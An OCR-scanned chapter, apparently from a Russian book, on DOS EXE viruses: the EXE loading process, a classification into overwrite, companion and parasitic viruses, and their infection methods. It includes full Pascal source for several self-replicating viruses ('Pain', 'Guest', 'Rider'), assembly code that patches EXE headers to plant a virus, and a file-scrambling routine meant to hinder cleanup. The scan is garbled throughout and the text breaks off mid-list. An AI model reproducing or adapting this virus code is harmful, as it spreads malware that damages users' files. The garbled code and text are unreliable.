ЕХЕ-ВИРУСЫ

ЕХЕ-ВИРУСЫ

СОМ-файлы (небольшие программы, написанные в основном на языке

Assembler) медленно, но верно устаревают. Им на смену приходят пуга-

ющие своими размерами ЕХЕ-„монстры“. Появились и вирусы, умею-

щие заражать ЕХЕ-файлы.

Структура и процесс загрузки ЕХЕ-программы

В отличие от СОМ-программ, ЕХЕ-программы могут состоять из не-

скольких сегментов (кодов, данных, стека). Они могут занимать боль-

ше 64Кбайт.

ЕХЕ-файл имеет заголовок, который используется при его загрузке.

Заголовок состоит из форматированной части, содержащей сигнатуру

и данные, необходимые для загрузки ЕХЕ-файла, и таблицы для на-

стройки адресов (Relocation Table). Таблица состоит из значений в ффор-

мате сегмент:смещение. К смещениям в загрузочном модуле, на которые

указывают значения в таблице, после загрузки программы в память дол-

жен быть прибавлен сегментный адрес, с которого загружена программа.

При запуске ЕХЕ-программы системным загрузчиком (вызовом функ-

ции DOS 4Bh) выполняются следующие действия:

1. Определяется сегментный адрес свободного участка памяти, размер

которого достаточен для размещения программы.

2. Создается и заполняется блок памяти для переменных среды.

3. Создается блок памяти для PSP и программы (сегментЮОООЬ – PSP;

сегмент+ООЮЬЮОООЬ – программа). В поля PSP заносятся соответ-

ствующие значения.

4. ААдрес DTA устанавливается равным PSP:0080h.

5. В рабочую область загрузчика считывается форматированная часть

заголовка ЕХЕ-файла.

6. Вычисляется длина загрузочного модуля по формуле:

Si7.e=((PageCnt*5i2)-(HdrSae*i6))-Pa!tP3ig.

7. Определяется смещение загрузочного модуля в файле, равное

HdrSize*16.

8. Вычисляется сегментный адрес (START_SEG) для загрузки –

обычно это PSP+lOh. <

9. Считывается в память загрузочный модуль (начиная с адреса

START_SEG:0000).

10. Для каждого входа таблицы настройки:

a) читаются слова I_OFF и I_SEG;

b) вычисляется RELC^SEG-START^SEG+LSEG;

c) читается слово по адресу RELO_SEG:I_OFF;

d) к прочитанному слову прибавляется START_SEG;

e) результат запоминается по тому же адресу (RELO_SEG:I_OFF).

11. Распределяется память для программы в соответствии с МахМет

и МтМет.

12. Инициализируются регистры, выполняется программа:

a) ES=DS°PSP;

b) АХ=результат проверки правильности идентификаторов драйве-

ров, указанных в командной строке;

c) SS°START_SEG+ReloSS, SP-ExeSP;

d) CS=START_SEG+ReloCS, IP=ExeIP.

Классификация ЕХЕ-вирусов

ЕХЕ-вирусы условно можно разделить на группы, используя в качестве

признака для деления особенности алгоритма.

Вирусы, замещающие программный код (Overwrite)

Такие вирусы уже стали раритетом. Главный их недостаток – слишком

грубая работа. Инфицированные программы не исполняются, так как

вирус записывается поверх программного кода, не сохраняя еего. При

запуске вирус ищет очередную жертву (или жертвы), открывает найден-

ный файл для редактирования и записывает свое тело в начало про-

граммы, не сохраняя оригинальный код. Инфицированные этими виру-

сами программы лечению не подлежат.

Вирусы-спутники (Companion)

Эти вирусы получили свое название из-за алгоритма размножения:

к каждому инфицированному файлу создается файл-спутник. Рассмот-

рим более подробно два типа вирусов этой группы:

Вирусы первого типа размножается следующим образом. Для каждого ин-

фицируемого ЕХЕ-файла в том же каталоге создается файл с вирусным

кодом, имеющий такое же имя, что и ЕЕХЕ-файл, но с расширением

СОМ. Вирус активируется, если при запуске программы в командной

строке указано только имя исполняемого файла. Дело в том, что, если

не указано расширение файла, DOS сначала ищет в текущем каталоге

файл с заданным именем и расширением СОМ. Если СОМ-файл с та-

ким именем не найден, ведется поиск одноименного ЕХЕ-файла. Если

не найден и ЕХЕ-файл, DOS попробует обнаружить ВАТ (пакетный)

файл. В случае отсутствия в текущем каталоге исполняемого файла

с указанным именем поиск ведется во всех каталогах, доступных

по переменной PATH. Другими словами, когда пользователь хочет за-

пустить программу и набирает в командной строке только ее имя

(в основном так все и делают), первым управление получает вирус,

код которого находится в СОМ-файле. Он создает СОМ-файл еще

к одному или нескольким ЕХЕ-файлам (распространяется), а затем

исполняет ЕХЕ-файл с указанным в командной строке именем. Поль-

зователь же думает, что работает только запущенная ЕХЕ-программа.

Вирус-спутник обезвредить довольно просто – достаточно удалить

СОМ-файл.

Вирусы второго типа действуют более тонко. Имя инфицируемого

ЕХЕ-файла остается прежним, а расширение заменяется каким-либо

другим, отличным от исполняемого (СОМ, ЕХЕ и ВАТ), Например,

файл может получить расширение DAT (файл данных) или OVL (про-

граммный оверлей). Затем на место ЕХЕ-файла копируется вирусный

код. При запуске такой инфицированной программы управление полу-

чает вирусный код, находящийся в ЕХЕ-файле. Инфицировав еще один

или несколько ЕХЕ-файлов таким же образом, вирус возвращает ориги-

нальному файлу исполняемое расширение (но нне ЁХЕ, а СОМ, по-

скольку ЕХЕ-файл с таким именем занят вирусом), после чего испол-

няет его. Когда работа инфицированной программы закончена, ее

запускаемому файлу возвращается расширение неисполняемого. Лече-

ние файлов, зараженных вирусом этого типа, может быть затруднено,

если вирус-спутник шифрует часть или все тело инфицируемого файла,

а перед исполнением его расшифровывает.

Вирусы, внедряющиеся в программу (Parasitic)

Вирусы этого вида самые незаметные: их код записывается в инфици-

руемую программу, что существенно затрудняет лечение зараженных

файлов. Рассмотрим методы внедрения ЕХЕ-вирусов в ЕХЕ-файл.

Способы заражения ЕХЕ-файлов

Самый распространенный способ заражения ЕХЕ-файлов такой: в конец

файла дописывается тело вируса, а заголовок корректируется (с сохране-

нием оригинального) так, чтобы при запуске инфицированного файла

управление получал вирус. Похоже на заражение СОМ-файлов, но вмес-

то задания в коде перехода в начало вируса корректируется собственно

адрес точки запуска программы. После окончания работы вирус берет из

сохраненного заголовка оригинальный адрес запуска программы, прибав-

ляет к его сегментной компоненте значение регистра DS или ES (полу-

ченное при старте вируса) и передает управление на полученный адрес.

Следующий способ – внедрение вируса в начало файла со сдвигом кода

программы. Механизм заражения такой: тело инфицируемой программы

считывается в память, на ее место записывается вирусный код, а после

него – код инфицируемой программы. Таким образом, код программы

как бы „сдвигается“ в файле на длину кода вируса. Отсюда и название

способа – „способ сдвига“. При ззапуске инфицированного файла вирус

заражает еще один или несколько файлов. После этого он считывает

в память код программы, записывает его в специально созданный на

диске временный файл с расширением исполняемого файла (СОМ или

ЕХЕ), и затем исполняет этот файл. Когда программа закончила рабо-

ту, временный файл удаляется. Если при создании вируса не применя-

лось дополнительных приемов защиты, то вылечить инфицированный

файл очень просто – достаточно удалить код вируса в начале файла,

и программа снова будет работоспособной. Недостаток этого метода

в том, что приходится считывать в память весь код инфицируемой про-

граммы (а ведь бывают экземпляры размером больше 1Мбайт).

Следующий способ заражения файлов – метод переноса – по всей ви-

димости, является самым совершенным из всех перечисленных. Вирус

размножается следующим образом: при запуске инфицированной про-

граммы тело вируса из нее считывается в память. Затем ведется поиск

неинфицированной программы. В память считывается ее начало,

по длине равное телу вируса. На это место записывается тело вируса.

Начало программы из памяти дописывается в конец файла. Отсюда на-

звание метода – „метод переноса“. После того, как вирус инфицировал

один или несколько файлов, он приступает к исполнению программы,

из которой запустился. Для этого он считывает начало инфицирован-

ной программы, сохраненное в конце файла, и записывает его в начало

файла, восстанавливая работоспособность программы. Затем вирус уда-

ляет код начала программы из конца файла, восстанавливая оригиналь-

ную длину файла,

и исполняет программу. После завершения програм-

мы вирус вновь записывает свой код в начало файла, а оригинальное

начало программы – в конец. Этим методом могут быть инфицированы

даже антивирусы, которые проверяют свой код на целостность, так как

запускаемая вирусом программа имеет в точности такой же код, как и до инфицирования.

Вирусы, замещающие программный код

(Overwrite)

Как уже говорилось, этот вид вирусов уже давно мертв. Изредка появ-

ляются еще такие вирусы, созданные на языке Assembler, но это, скорее,

соревнование в написании самого маленького overwrite-вируса. На дан-

ный момент самый ммаленький из известных overwrite-вирусов написан

Reminder’ом (Death Virii Crew group) и занимает 22 байта.

Алгоритм работы overwrite-вируса следующий:

1. Открыть файл, из которого вирус получил управление.

2. Считать в буфер код вируса.

3. Закрыть файл.

4. Искать по маске подходящий для заражения файл.

5. Если файлов больше не найдено, перейти к пункту 11.

6. Открыть найденный файл.

7. Проверить, не заражен ли найденный файл этим вирусом.

8. Если файл заражен, перейти к пункту 10.

9. Записать в начало файла код вируса. <

10. Закрыть файл (по желанию можно заразить от одного до всех фай-

лов в каталоге или на диске).

11. Выдать на экран какое-либо сообщение об ошибке, например

„Abnormal program termination“ или „Not enough memory“, – пусть

пользователь не слишком удивляется тому, что программа нне запу-

стилась.

12. Завершить программу.

Ниже приведен листинг программы, заражающей файлы таким

способом.

{$М 2048, 0, 0}

{$А-}

{$В-}

{$D-}

{$Е+}

($F-)

($G-}

($!-}

{$L-}

{$N-}

{$S-} /

{$V-}

{$X+}

{Используются модули DOS и System (модуль System автоматически

подключается к каждой программе при компиляции)}

Uses DOS;

Const

(Имя вируса}

VirName=’Pain’;

{Строка для проверки на повторное заражение.

Она дописывается в заражаемый файл сразу после кода вируса}

VirLabel: String[5]=’Pain!1;

{Длина получаемого при компиляции ЕХЕ-файла}

VirLen=4208;

Author=’Dirty Nazi/SGWW.’;

{Количество заражаемых за один сеанс работы файлов}

lnfCount=2;

Var

{Массив для определения наличия копии вируса в найденном файле}

Virldentifier: Array [1.5] of Char;

{Файловая переменная для работы с файлами}

VirBody: File;

(Еще одна файловая переменная – хотя без нее можно было

обойтись, так будет понятнее)

Target: File;

{Для имени найденного файла)

TargetFile: PathStr;

(Буфер для ттела вируса)

VirBuf : Array [-I.VirLen] of Char;

(Для даты/времени файла)

Time : Longint;

(Счетчик количества инфицированных файлов)

InfFiles : Byte;

Dirlnfo : SearchRec;

LabelBuf : Array [1.5] of Char;

(Инициализация)

procedure Init;

begin

LabelBuf [1]:=VirLabel[1];

LabelBuf[2]:=VirLabel[2];

LabelBuf[3]:=VirLabel[3],

LabelBuf[4]:=VirLabel[4];

LabelBuf[5]:=VirLabel[5];

(Обнуляем счетчик количества инфицированных файлов}

lnfFiles:=0;

(Связываем файловую переменную VirBody с именем программы.

из которой стартовали)

Assign(VirBody, ParamStr(O));

(Открываем файл с recsize=1 байту)

Reset(VirBody, 1);

(Считываем из файла тело вируса в массив VirBuf}

BlockRead(VirBody VirBuf, VirLen);

(Закрываем файл)

Close(VirBody);

end;

(Поиск жертвы}

procedure FindTarget;

Var

Sr: SearchRec;

(Функция возвращает True, если найденная

программа уже ззаражена, и False, если еще нет}

function VirusPresent: Boolean;

begin

(Пока будем считать, что вируса нет}

VirusPresent:=False;

(Открываем найденный файл}

Assign(Target, TargetFile);

Reset(Target, 1);

(Перемещаемся на длину тела вируса от начала файла}

Seek(Target, VirLen);

(Считываем 5 байт – если файл уже заражен,

там находится метка вируса}

BlockRead(Target, Virldentifier, 5);

If Virldentifier=Virl_abel Then

{Если метка есть, значит есть и вирус}

VirusPresent:=True;

end;

(Процедура заражения}

procedure InfectFile;

begin

{Если размер найденного файла меньше, чем длина вируса

плюс 100 байт, то выходим из процедуры}

If Sr.Size < VirLen+100 Then Exit;

{Если найденная программа еще не заражена, инфицируем ее}

If Not VirusPresent Then

begin

{Запомним дату и время файла. Атрибуты запоминать не надо,

так как поиск ведется среди файлов с атрибутом Archive, а этот

атрибут устанавливается на файл после сохранения в любом случае}

Time:=Sr.Time;

{Открываем для заражения}

Assign(Target, TargetFile);

Reset(Target, 1);

{Записывам тело вируса в начало файла}

BlockWrite(Target, VirBuf, VirLen);

{Перемещаем указатель текущей позиции

на длину вируса от начала файла}

Seek(Target, VirLen);

{Вписываем метку заражения}

BlockWrite(Target, LabelBuf, 5);

{Устанавливаем дату и время файла}

SetFTime(Target, Time);

{Закрываем}

Close(Target);

{Увеличиваем счетчик инфицированных файлов}

Inc(lnfFiles);

end;

end;

{Начало процедуры FindTarget}

begin

{Ищем в текущем каталоге файлы по маске *.ЕХЕ

с атрибутами Archive}

FindFirstF.EXE’, Archive, Sr);

{Пока есть файлы для заражения}

While DosError=0 Do

begin

If Sr.Name=“ Then Exit;

(Запоминаем имя найденного файла в переменную TargetFile}

TargetFile:=Sr.Name;

{Вызываем процедуру заражения}

InfectFile;

{Если заразили InfCount файлов, завершаем ппоиск}

If InfFiles > InfCount Then Exit;

{Ищем следующий файл по маске}

FindNext(Sr);

end;

end;

{Основное тело}

begin

(Инициализируемся}

hit;

{Ищем жертвы и заражаем их}

FindTarget;

{Выдаем на экран сообщение об ошибке}

WriteLn(‘Abnormal program termination.’);

{Это чтобы компилятор вставил в код константы VirName

и Author, условие же поставлено таким образом,

что эти строки никогда не будут выведены на экран}

If 2=3 Then

begin

WriteLn(VirName);

WriteLn(Author);

end;

end.

Вирусы-спутники (Companion)

Вирусы-спутники сейчас широко распространены – соотношение

companion и parasitic вирусов примерно один к двум.

Инфицирование методом создания СОМ-файла спутника

Смысл этого метода – не трогая „чужого кота“ (ЕХЕ-программу), со-

здать „своего“ – СОМ-файл с именем ЕХЕ-программы. Алгоритм рабо-

ты такого вируса предельно прост, так как отпадает необходимость

лишних действий (например, сохранения в теле вируса длины откомпи-

лированного ЕХЕ-файла с вирусным кодом, считывания в буфер тела

вируса, запуска файла, из которого вирус получил управление). Неза-

чем даже хранить метку для определения инфицирования файла.

Заражение производится с помощью командного процессора:

1. Если в командной строке указаны параметры, сохранить их в пере-

менную типа String для передачи инфицированной программе.

2. Найти ЕХЕ-файл-жертву.

3. Проверить, не присутствует ли в каталоге с найденным ЕХЕ-фай-

лом СОМ-файл с таким же именем, как у файла-жертвы.

4. Если такой СОМ-файл присутствует, файл уже заражен, переходим

к пункту 6.

5. С помощью командного процессора скопировать файл, из которого

получено управление, в файл сс именем жертвы и расширением СОМ.

6. Процедурой Ехес загрузить и выполнить файл с именем стартового, но

с расширением ЕХЕ – то есть выполнить инфицированную программу.

7. Вернуть управление в DOS.

Приведенный ниже листинг показывает заражение файлов этим

методом.

($М 2048, 0, 0}

f$A-}

<$В-„

($D-}

<$Е+1

{$F-}

{$G-}

{$!-}

f$L-(

{$N-)

{$S-}

<$V-}

{$X+}

(Используются модули DOS и System (модуль System автоматически

подключается к каждой программе при компиляции)}

Uses DOS;

Const

{Имя вируса)

VirName=’Guesf;

Author=’Dirty Nazi/SGWW. 4 PVT only!’;

{Количество зараженных за один сеанс работы файлов}

lnfCount=2;

Var

{Для имени найденного файла)

TargetFile : PathStr;

{Для создания копии}

TargetCOM : PathStr;

(Счетчик количества заражений}

InfFiles : Byte;

Dirlnfo : SearchRec;

{Для сохранения параметров командной строки}

Parms : String;

(Для цикла For}

I: Byte;

(Поиск жертв}

procedure FindTarget;

Var

Sr : SearchRec;

{Функция возвращает True, если найденная программа уже заражена,

и False, если еще нет}

function VirusPresent: Boolean;

Var

Target : File;

begin

{Пока будем считать, что вируса здесь нет}

VirusPresent:=False;

{Пытаемся открыть файл с именем найденной программы,

но с расширением СОМ}

AssignHarget, TargetCOM);

ResetHarget, 1);

{Если не было ошибок при открытии,

программа уже инфицирована этим вирусом}

If IOResult=0 Then

begin

VirusPresent:=True;

{Открыли – закроем}

Close(Target);

end;

end;

{Собственно процедура заражения}

procedure InfectFile;

begin

{Если найденная программа еще не заражена, инфицируем ее}

If Not VirusPresent Then

begin

{С помощью командного процессора

копируем вирусный код в СОМ-файл}

Swap Vectors;

Exec(GetEnv(‘COMSPEC’),7C COPY

/B ‘+ParamStr(0)+’

‘+TargetCOM+’ >NUL’);

Swap Vectors;

(Увеличиваем на единицу счетчик инфицированных файлов}

Inc(lnfFiles);

end;

end;

begin {начало процедуры FindTarget}

(Ищем в текущем каталоге файлы по маске *.ЕХЕ

с атрибутами Archive}

FindFirstF.EXE’, Archive, Sr);

{Пока есть файлы для заражения}

While DosError=0 Do

begin

If Sr.Name=“ Then Exit;

{Запоминаем имя найденного файла в переменную TargetFile}

TargetFile:=Sr.Name;

TargetCOM:=Copy(TargetFile,1,Length(TargetFile)-4)+’.COM’;

{Вызываем процедуру заражения}

InfectFile;

{Если заразили InfCount файлов, завершаем поиск}

If InfFiles > InfCount Then Exit;

{Ищем следующий файл по маске}

FindNext(Sr);

end;

end;

{Основное тело}

begin

Parms:=’ ‘;

{Запоминаем параметры командной строки}

If ParamCount <> 00 Then

For l:=1 To ParamCount Do

Parms:=Parms+’ ‘+ParamStr(l);

{Ищем жертвы и заражаем их}

FindTarget;

TargetFile:=Copy(ParamStr(0), 1 ,Length(ParamStr(0))-4)+’.EXE’;

(Ищем файл с именем стартового файла, но с расширением ЕХЕ}

FindFirst(TargetFile, AnyRle, Dirlnfo);

{Если такой файл найден, запускаем его на выполнение)

If DosError=0 Then

begin

Swap Vectors;

Exec(GetEnv(‘COMSPEC’),7C ‘+TargetFile+Parms);

Swap Vectors;

end Else

{Если файл не найден, выходим,

не внося в программу изменений)

begin

WriteLn(#13#10, VirName, ‘ by ‘.Author);

WriteLnCKaKoe-нибудь сообщение’);

end;

end.

Инфицирование методом переименования ЕХЕ-файла

Отличий в алгоритмах работы этих вирусов и их „коллег“, создающих

файл-спутник, не так уж много. Но, ппо всей видимости, заражение ме-

тодом переименования несколько совершеннее – для излечения от ви-

руса нужно не просто удалить СОМ-файл с кодом вируса, а немного

помучаться и разыскать, во что же переименован ЕХЕ-файл с инфици-

рованной программой.

1. Если в командной строке указаны параметры, ссохранить их в пере-

менную типа String для передачи инфицированной программе.

2. Найти ЕХЕ-файл-жертву.

3. Проверить, не присутствует ли в каталоге с найденным ЕХЕ-фай-

лом-жертвой файл с таким же именем и с расширением, которое

выбрано для инфицированной программы (например, OVL – про-

граммный оверлей).

4. Если такой файл присутствует, программа уже инфицирована – пе-

реходим к пункту 7.

5. Переименовать найденный файл-жертву (ЕХЕ) в файл с таким же име-

нем, но с расширением, выбранным для инфицированной программы.

6. С помощью командного процессора скопировать файл, из которого по-

лучено управление, в файл с именем жертвы и расширением жертвы.

7. Найти в каталоге, из которого получено управление, файл с именем

стартовой программы, но с расширением, выбранным для инфици-

рованной – это и будет зараженная программа, которую в данный

момент необходимо запустить на иисполнение.

8. Если такой файл не найден, переходим к пункту 12.

9. Изменить расширение найденного файла на СОМ (ни в коем случае не

на ЕХЕ, ведь в ЕХЕ-файле с таким именем находится вирусный код!).

10. Процедурой Ехес загрузить и выполнить переименованный файл –

то есть выполнить инфицированную программу.

11. Вернуть СОМ-файлу с инфицированной программой выбранное

расширение, то есть превратить его опять в неисполняемый.

12. Вернуть управление в DOS.

Несколько слов о вирусе, листинг которого приведен ниже. Вирус Rider

написан очень просто и доступно. За ссеанс работы он заражает один

ЕХЕ-файл в текущем каталоге. Сам процесс заражения также весьма

прост: файл-жертва переписывается в файл с расширением OVL (овер-

лейный файл), а на его место с помощью командного процессора копи-

руется вирусный код. При запуске происходит заражение только что

найденного ЕХЕ-файла, затем вирусный код переименовывается

в OWL, a OVL – в ЕХЕ, после чего оригинал запускается на исполне-

ние. Когда оригинал отработал, происходит переименование в обратном

порядке. С защищенного от записи диска программа не запустится, она

выдаст сообщение, что диск защищен от записи.

В представленном здесь виде вирус легко обезвредить, достаточно про-

сто переименовать OVL-файл обратно в ЕХЕ. Но, чтобы усложнить ле-

чение, в вирусе может быть использован такой прием:

procedure MakeNot;

Var

Buf10: Array [1.10] of Byte;

Cicle: Byte;

begin

Seek(Prog, 0);

Reset(Prog);

BlockRead(Prog, Buf10, 10);

For Cicle:=1 To 10 Do Buf10[Cicle]:=Not Buf10[Cicle];

Seek(Prog, 0);

BlockWrite(Prog, Buf10, 10);

Close(Prog);

end;

При использовании этой процедуры надо учитывать, что заражаемая

и запускаемая на исполнение программа должна быть связана с пере-

менной Prog типа File, описанной в основном модуле. Суть процедуры

состоит в том, что из заражаемой программы считываются 10 байт и ко-

дируются операцией Not. ЕХЕ-программа становится неработоспособ-

ной. Запускать эту процедуру нужно не только перед прогоном ориги-

нала, но и после него.

{ Name Rider }

{ Version 1.0 }

{ Stealth No } <

{ Tsr No }

{ Danger 0 }

{ Attac speed Slow }

{ Effects No }

{ Length 4000 }

{ Language Pascal }

{ BodyStatus Packed }

{ Packer Pklite }

($M 2048, 0, 0} { Stack 1024b, Low Heap Limit Ob,

High Heap Limit Ob }

{Используются модули DOS и System (модуль System автоматически

подключается к каждой программе при компиляции)}

Uses DOS;

Const

Fail=’Cannot execute ‘^13#10’Disk is write-protected’;

{Расширения файлов, которые будем использовать}

Ovr=’.OWL’;

Ovl=’.OVL’;

Ехе=.ЕХЕ’;

Var

Dirlnfo : SearchRec;

Sr : SearchRec;

Ch : Char;

I : Byte;

OurName : PathStr;

OurProg : PathStr;

Ren : File;

CmdLine : ComStr;

Victim : PathStr;

VictimName : PathStr;

(Процедура для проверки диска на Read Only)

procedure CheckRO;

begin

Assign(Ren, #$FF);

ReWrite(Ren);

Erase(Ren);

If lOResult <> 0 Then

{Если диск защищен от записи, то ответ ‘Access denied’}

begin

WriteLn(Fail);

Halt(5);

end;

end;

(Процедура прогонки оригинала}

procedure ExecReal;

begin

{Находим оригинал}

FindFirst(OurName+Ovl, AnyFile, Dirlnfo);

If DosError <> 0 Then

(Если не нашли}

begin

WriteLn(‘Virus RIDER. Let’s go on riding!’);

WriteLn(‘l beg your pardon, your infected file cannot be executed.’);

(Выход с DosError=ann не найден)

Halt(18);

end;

{Переименовываем программу в OVL}

Assign(Ren, OurName+Exe);

ReName(Ren, OurName+Ovr);

{Переименовываем оверлей в ЕХЕ}

Assign(Ren, OurName+Ovl);

ReName(Ren, OurName+Exe);

(И запускаем его}

Swap Vectors;

Exec(GetEnv(‘COMSPEC’), 7C ‘+OurName+Exe+CmdLine);

Swap Vectors;

{А теперь ввозвращаем все на место)

Assign(Ren, OurName+Exe);

ReName(Ren, OurName+Ovl);

Assign(Ren, OurName+Ovr);

ReName(Ren, OurName+Exe);

end;

(Процедура заражения}

procedure Infect;

begin

{Переименовываем жертву в OVL}

Assign(Ren, Victim);

ReName(Ren, VictimName+Ovl);

{Копируем тело вируса на место жертвы}

SwapVectors;

Exec(GetEnv(‘COMSPEC’), ‘/С COPY ‘+OurProg+’ ‘+Victim+’ >NUL’);

SwapVectors;

end;

{Процедура поиска жертвы}

procedure FindFile;

begin

{В текущем каталоге ищем ЕХЕ-файл}

FindFirst(‘*EXE’, AnyFile, Dirlnfo);

If DosError=0 Then

{И если он найден}

begin

{Запоминаем имя жертвы}

Victim:=Dirlnfo.Name;

{Запоминаем имя без расширения}

VictimName:=Copy(Victim, 1, Length(Victim)-4);

{Ищем оверлей с тем же именем}

FindFirst(VictimName+Ovl, AnyFile, Sr);

If DosError <> 0 Then Infect;

end;

end;

{Процедура инициализации переменных}

procedure I nit;

begin

(Командная строка}

CmdLine:=“;

{Полное имя нашей программы}

OurProg:=ParamStr(0);

{Имя нашей программы без расширения}

OurName:=Copy(ParamStr(0), 1, Length(ParamStr(0))-4);

For l:=1 To ParamCount Do

begin

{Запоминаем параметры}

CmdLine:=ParamStr(l)+’ ‘;

end;

end;

{Основная подпрограмма}

begin

{А эту табличку запишем в код для тех,

кто распакует вирус и начнет в нем копаться}

If False Then

begin

WriteLn(#13#10 ‘ ‘);

end;

{Инициализируемся}

Init;

(Проверка диска на R/О}

CheckRO;

{Ищем и заражаем}

FindFile;

{Загружаем оверлей}

ExecReal;

end.

Вирусы, внедряющиеся в программу (Parasitic)

Эти вирусы являются самыми „хитрыми“. Поскольку такой вирус вне-

дряется в инфицируемую программу, это дает ему много преимуществ

перед всеми вышеописанными вирусами: на диске не появляются лиш-

ние файлы, нет забот с копированием и переименованием, кроме того,

усложняется лечение инфицированных файлов.

Стандартное заражение ЕХЕ-файлов

Стандартное заражение – заражение, при котором вирус внедряется

в конец файла, изменяя заголовок так, чтобы после загрузки файла уп-

равление получил вирус. Принципиально действие такого вируса мало

отличается от действия рассмотренного СОМ-вируса. Чтобы выяснить

способы работы с ЕХЕ-файлами, рассмотрим следующий фрагмент про-

граммы:

;Читаем заголовок ЕХЕ-файла (точнее, только первые 18h байт,

;которых вполне достаточно)

ReadHeader:

mov ah,3Fh

mov dx,offset EXEHeader

mov cx,0018h

int 21 h

Останавливаем в SI адрес считанного заголовка. В дальнейшем

;будем обращаться к заголовку, используя Sl+смещение элемента

mov si,offset EXEHeader

[Получаем реальную длину файла, переместив указатель текущей

;позиции ччтения/записи в конец файла

GetRealFSize:

mov ax,4202h

mov bx.Handle

xor ex,ex

xor dx.dx

int 21 h

;Сохраним полученную длину файла

mov Reallen.dx

mov Reallen+2,ax

;Так как речь идет о стандартной процедуре заражения, нужно

;помнить, что все вышесказанное не должно затрагивать

оверлейные файлы. Их длина, указанная в заголовке,

.-меньше реальной, то есть эти файлы загружаются

;в память не полностью.

Следовательно, если заразить такой файл, вирус попадет

;в незагружаемую часть.

Сохраним в стеке реальную длину ЕХЕ-файла

push dx

push ax

рассчитаем размер ЕХЕ-файла в 512-байтных страницах и остаток

CompareOVL

mov cx,0200h

div eex

;Ha данный момент в регистре АХ находится число страниц

;(в каждой странице содержится 512 байт),

;а в регистре DX – остаток, образующий

;еще одну (неучтенную) страницу.

.Добавим эту страницу к общему числу страниц –

;если остаток не равен нулю, то

.увеличим число страниц

or ddx.dx

jz m1

inc ax

m1:

.Будем считать пригодным для заражения

.стандартным способом файлы с длиной,

;полностью совпадающей с указанной в заголовке

cmp ax,[si+PartPag]

jne ExitProc

cmp dx,[si+PageCnt]

jne ExitProc

;Чтобы вирус смог вернуть управление

;зараженной программе, сохраним поля ReloSS,

;ExeSP, ReloCS, ExelP из заголовка ЕХЕ-файла.

.Значения констант, используемых в программе,

.равны смещению соответствующего

;элемента в заголовке ЕХЕ-файла (Приложение А)

InitRetVars:

mov ax,[si+ReloSS]

mov oldss.ax

mov ax,[si+ExeSP]

mov oldsp.ax

mov ax,[si+ReloCS]

mov oldcs.ax

mov ax,[si+Exe!P]

mov oldip.ax

.Восстановим из стека реальную длину файла

;В данном случае она совпадает с длиной, указанной в заголовке

pop ax

pop dx

.Рассчитаем длину программы с вирусом, для чего прибавим

;к длине файла длину тела вируса

add ax,VIRSIZE ;VIRSIZE – длина тела вируса

adc dx.0

рассчитаем получившуюся длину (одна страница – 512 байт)

;и остаток в последней сстранице (так же,

;как рассчитывали длину файла без вируса)

mov cx,0200h

div ex

or dx.dx

jz newJen

inc ax

NewJen:

;Внесем в заголовок новую длину файла

mov [si+PageCnt],ax

mov [si+PartPag],dx

;Прочитаем реальную длину файла.

;По ней будем рассчитывать новую

;точку входа в программу (адрес запуска)

Eval_new_entry:

mov dx.Reallen+2

mov ax.Reallen

; Рассчитаем новую точку входа.

.Точка входа в вирус должна находиться

;в начале его тела. Другими словами, нужно к длине файла

.прибавить смещение точки входа.

;Разделим длину на размер параграфа (10h)

mov cx,10h

div ex

Получили число ппараграфов (AX) и остаток (DX – смещение

;вируса в последнем параграфе).

;0тнимем от числа параграфов в файле число

.параграфов в заголовке – получим сегмент входа в ЕХЕ-файл

sub ax,[si+HdrSize]

;3апишем новую точку входа в заголовок

mov [si+ReloCS],ax

mov [si+ExelP],dx

.Замечание: можно было округлить полученное число,

;и вирус начинался бы с OOOOh.

;Но этого делать не стоит.

,-Естественно, все обращения к данным в этом вирусе

должны быть нефиксированными, как и в любом другом вирусе.

;Вместо „mov ax,ANYDATA“ придется делать так:

; mov si.VIRSTART

; mov ax,[si+offset ANYDATA]

;где offset ANYDATA – смещение относительно начала тела вируса

;Стек поставим за тело вируса – байт на ЮОп. Потом обязательно

;вернем, иначе можно стереть заготовленные в стеке значения!

.’Установим сегмент стека такой же, как и кода,

;а указатель на вершину стека –

;на 100h байт после тела вируса

mov [si+ReloSSj.ax

mov ax.VIRSIZE+IOOh

mov [si+ExeSP],ax

;Теперь запишем заголовок в файл, не забыв и тело вируса.

; Рекомендуется писать сначала тело, а потом заголовок.

;Если тело вдруг не допишется,

;то файл испортим зря

UpdateRle:

;3апишем тело вируса

WriteBody:

.-Установим указатель чтения/записи в конец файла

mov bx,Handle

хог сх,сх

xor dx.dx

mov ax,4202h

int 21 h

.Запишем тело вируса в файл

mov ah,40h

mov cx.VIRSIZE

mov dx.offset VIRStart

int 21h

;3апишем заголовок

WriteHeader:

;Установим указатель чтения/записи в начало файла

mov ax,4200h

xor ex,ex

xor dx.dx

int 21 h

.Запишем заголовок в ффайл

mov cx,0018h

mov ah,40h

mov dx.si

int 21 h

Итак, вирус „поселился“ в ЕХЕ-файле. А как после окончания работы

вируса передать управление инфицированной программе? Вот процеду-

ра выхода из вируса:

CureEXE:

StackBack:

-.Установим первоначальный указатель (сегмент и смещение) стека

mov ax.ds

-.Прибавим ООЮп, после чего в АХ будет

;находится сегмент, с которого

;загружен программный модуль

add ax,10h

Прибавим первоначальный сегмент стека

db @add_ax ;код ADD AX, дальше по аналогии

OldSS dw ? ;это значение было установлено

;при заражении

;3апретим прерывания, так как со стеком нельзя работать,

;пока и сегмент, и смещение не установлены в нужное значение

cli

-.Установим сегмент стека (PSP+Wh+OldSS)

mov ss.ax

:Установим первоначальный указатель (смещение) стека

db @mov_sp

OldSP dw ?

; Разрешим прерывания – опасный участок пройден

sti

[Подготовим значения в стеке для команды IRET

RetEntryPoint:

pushf

рассчитаем сегмент для кода по аналогии с сегментом стека

mov ax.DATASEG

add ax,10h

db @add_ax

OldCS dw ?

;Сохраним в стеке полученное значение (PSP+Wh+OldCS)

push ax

;Сохраним в стеке смещение исходной точки входа

db @mov_ax

OldIP dw ?

push ax

.Запустим программу. В стеке находятся смещение

;точки входа, сегмент точки входа и флаги

iret

Внедрение способом сдвига

Инфицируемая программа размещается в файле после кода вируса,

сдвигаясь на его длину, отсюда и название метода. Алгоритм работы

вируса следующий:

1. Открыть файл, из которого получено управление.

2. Считать в буфер тело вируса. <

3. Закрыть файл.

4. Найти файл-жертву (для данного типа вирусов лучше СОМ-файл,

но можно и не слишком большой ЕХЕ – это связано с тем, что все

тело инфицируемой программы считывается в память и ее может не

хватить, если эта программа слишком большая).

5. Открыть файл-жертву.

6. Проверить файл на повторное заражение (здесь могут быть вариан-

